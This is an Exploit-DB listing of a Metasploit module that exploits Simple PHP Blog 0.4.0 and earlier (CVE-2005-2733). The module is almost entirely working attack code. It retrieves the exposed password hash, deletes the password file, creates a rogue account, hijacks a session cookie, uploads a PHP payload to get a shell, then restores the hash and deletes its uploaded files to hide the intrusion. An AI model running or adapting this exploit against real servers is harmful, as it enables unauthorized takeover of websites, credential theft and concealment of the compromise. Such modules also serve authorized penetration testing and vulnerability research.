Simple PHP Blog 0.4.0 - Remote Command Execution (Metasploit)

EDB-ID:

16883




Platform:

PHP

Date:

2010-07-25


##
# $Id: sphpblog_file_upload.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Simple PHP Blog <= 0.4.0 Remote Command Execution',
			'Description'    => %q{
					This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
				application to upload arbitrary data and thus execute a shell. The first
				vulnerability exposes the hash file (password.txt) to unauthenticated users.
				The second vulnerability lies within the image upload system provided to
				logged-in users; there is no image validation function in the blogger to
				prevent an authenticated user from uploading any file type. The third
				vulnerability occurs within the blog comment functionality, allowing
				arbitrary files to be deleted.
			},
			'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9929 $',
			'References'     =>
				[
					['CVE', '2005-2733'],
					['OSVDB', '19012'],
					['BID', '14667'],
					['URL', 'http://www.milw0rm.com/exploits/1191'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 1024,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 25 2005',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]),
			], self.class)
	end

	def check
		res = send_request_raw({
			'uri'     => datastore['URI'] + '/index.php'
		}, 25)

		if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)

			ver = [ $1.to_i, $2.to_i, $3.to_i ]
			print_status("Simple PHP Blog #{ver.join('.')}")

			if (ver[0] == 0 and ver[1] < 5)
				if (ver[1] == 4 and ver[2] > 0)
					return Exploit::CheckCode::Safe
				end
				return Exploit::CheckCode::Vulnerable
			end
		end

		return Exploit::CheckCode::Safe
	end

	def retrieve_password_hash(file)

		res = send_request_raw({
			'uri'    => datastore['URI'] + file,
		}, 25)

		if (res and res.message == "OK" and res.body)
			print_status("Successfully retrieved hash: #{res.body}")
			return res.body
		else
			raise RuntimeError.new("Failed to retrieve hash, server may not be vulnerable.")
			return false
		end
	end

	def create_new_password(user, pass)

		res = send_request_cgi({
			'uri'     => datastore['URI'] + '/install03_cgi.php',
			'method'  => 'POST',
			'data'    => "user=#{user}&pass=#{pass}",
		}, 25)

		if (res)
			print_status("Successfully created temporary account.")
		else
			print_error("Unable to create a temporary account!")
		end
	end

	def retrieve_session(user, pass)

		res = send_request_cgi({
			'uri'     => datastore['URI'] + "/login_cgi.php",
			'method'  => 'POST',
			'data'    => "user=#{user}&pass=#{pass}",
		}, 25)

		if (res)
			print_status("Successfully logged in as #{user}:#{pass}")

			if (res.headers['Set-Cookie'] =~ /my_id=(.*)/)
				session = $1
				print_status("Successfully retrieved cookie: #{session}")
				return session
			else
				print_error("Error retrieving cookie!")
			end
		else
			print_error("No response received while logging in.")
		end
	end

	def upload_page(session, dir, newpage, contents)

		boundary = rand_text_alphanumeric(6)

		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"userfile\"; "
		data << "filename=\"#{newpage}\"\r\nContent-Type: text/plain\r\n\r\n"
		data << contents
		data << "\r\n--#{boundary}--"

		res = send_request_raw({
			'uri'	  => datastore['URI'] + "/upload_img_cgi.php",
			'method'  => 'POST',
			'data'    => data,
			'headers' =>
			{
				'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
				'Content-Length' => data.length,
				'Cookie'	 => "my_id=#{session}; PHPSESSID=#{session}",
			}
		}, 25)

		if (res)
			print_status("Successfully uploaded #{newpage}")
		else
			print_error("Error uploading #{newpage}")
		end
	end

	def reset_original_password(hash, scriptlocation)

		res = send_request_cgi({
			'uri'	 => datastore['URI'] + scriptlocation,
			'method' => 'POST',
			'data'	 => "hash=" + hash,
		}, 25)

		if (res)
			print_status("Successfully reset original password hash.")
		else
			print_error("Error resetting original password!")
		end
	end

	def delete_file(file)

		delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}"

		res = send_request_raw({
			'uri'	=> datastore['URI'] + delete_path,
		}, 25)

		if (res)
			print_status("Successfully removed #{file}")
		else
			print_error("Error removing #{file}!")
		end
	end

	def cmd_shell(cmdpath)
		print_status("Calling payload: #{cmdpath}")

		res = send_request_raw({
			'uri'	=> datastore['URI'] + cmdpath
		}, 25)

	end

	def exploit

		# Define the scripts to be uploaded to aid in exploitation
		cmd_php = '<?php ' + payload.encoded + '?>'

		reset_php = %Q|
		<?php $hash = $_POST['hash'];
		$fp = fopen("../config/password.txt","w");
		fwrite($fp,$hash);
		fpclose($fp);
		?>|

		# Generate some random strings
		cmdscript	= rand_text_alphanumeric(20) + '.php'
		resetscript	= rand_text_alphanumeric(20) + '.php'
		newuser 	= rand_text_alphanumeric(6)
		newpass 	= rand_text_alphanumeric(6)

		# Static files
		directory 	= '/images/'
		cmdpath 	= directory + cmdscript
		resetpath 	= directory + resetscript
		passwdfile 	= '/config/password.txt'

		# Let's do this thing
		hash = retrieve_password_hash(passwdfile)
		delete_file(passwdfile)
		create_new_password(newuser, newpass)
		session = retrieve_session(newuser, newpass)
		upload_page(session, directory, resetscript, reset_php)
		upload_page(session, directory, cmdscript, cmd_php)
		reset_original_password(hash, resetpath)
		delete_file(resetpath)
		cmd_shell(cmdpath)
		delete_file(cmdpath)
	end
end